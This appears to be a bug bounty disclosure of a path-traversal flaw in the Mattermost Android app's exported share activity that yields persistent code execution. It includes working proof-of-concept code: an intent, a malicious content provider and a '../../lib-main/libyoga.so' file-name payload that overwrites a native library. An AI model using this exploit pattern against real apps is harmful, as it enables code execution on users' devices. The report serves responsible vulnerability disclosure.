Persistant Arbitrary code execution in mattermost android

How it was found

Summary:

Activity com.mattermost.share.ShareActivity is is exported and is designed to allow file sharing from third party application to mattermost android app.

 <activity android:theme="@style/AppTheme" android:label="@string/app_name" android:name="com.mattermost.share.ShareActivity" android:taskAffinity="com.mattermost.share" android:launchMode="singleInstance" android:screenOrientation="portrait" android:configChanges="keyboard|keyboardHidden|orientation|screenSize">
            <intent-filter>
                <action android:name="android.intent.action.SEND"/>
                <action android:name="android.intent.action.SEND_MULTIPLE"/>
                <category android:name="android.intent.category.DEFAULT"/>
                <data android:mimeType="*/*"/>
            </intent-filter>
        </activity>

I have found path tansversal vulnerability at com.mattermost.share.RealPathUtil.java file

public static String getPathFromSavingTempFile(Context context, final Uri uri) {
             int nameIndex = returnCursor.getColumnIndex(OpenableColumns.DISPLAY_NAME); //get file name here 
            returnCursor.moveToFirst();
            fileName = returnCursor.getString(nameIndex); // "filename=../../lib-main/libyoga.so"
        } catch (Exception e) {
            // just continue to get the filename with the last segment of the path
       }
             String mimeType = getMimeType(uri.getPath());
            tmpFile = new File(cacheDir, fileName);
            tmpFile.createNewFile();  //path transversal here
            ParcelFileDescriptor pfd = context.getContentResolver().openFileDescriptor(uri, "r"); 
            //.../

It receives the value of _display_name from the provider and saved the file with this name, leading to path-traversal.

Steps To Reproduce:

1. Install the POC app and open it. F1216351

On the next launch of the app the malicious code will be executed.In this poc the app will crash on next launch because i was too lazy and to create a modified version of libyoga.so

POC

In MainActivity.java

        Intent intent = new Intent(Intent.ACTION_SEND);
        intent.setClassName("com.mattermost.rn", "com.mattermost.share.ShareActivity");
        intent.putExtra("android.intent.extra.STREAM",Uri.parse("content://com.example.android.pocok/?path=/data/data/com.example.android.pocok/libevil-lib.so&name=../../lib-main/libyoga.so"));
        intent.setType("application/*");
        startActivity(intent);

In EvilContentProvider.java

public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
    MatrixCursor matrixCursor = new MatrixCursor(new String[]{"_display_name"});
    matrixCursor.addRow(new Object[]{uri.getQueryParameter("name")});
    return matrixCursor;
}

public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
    return ParcelFileDescriptor.open(new File(uri.getQueryParameter("path")), ParcelFileDescriptor.MODE_READ_ONLY);
}

In AndroidManifest.xml

<provider android:name=".EvilContentProvider" android:authorities="com.example.android.pocok" android:enabled="true" android:exported="true" />

Impact

Attacker can inject malicious library file in the application which will lead to arbitrary code execution in the app.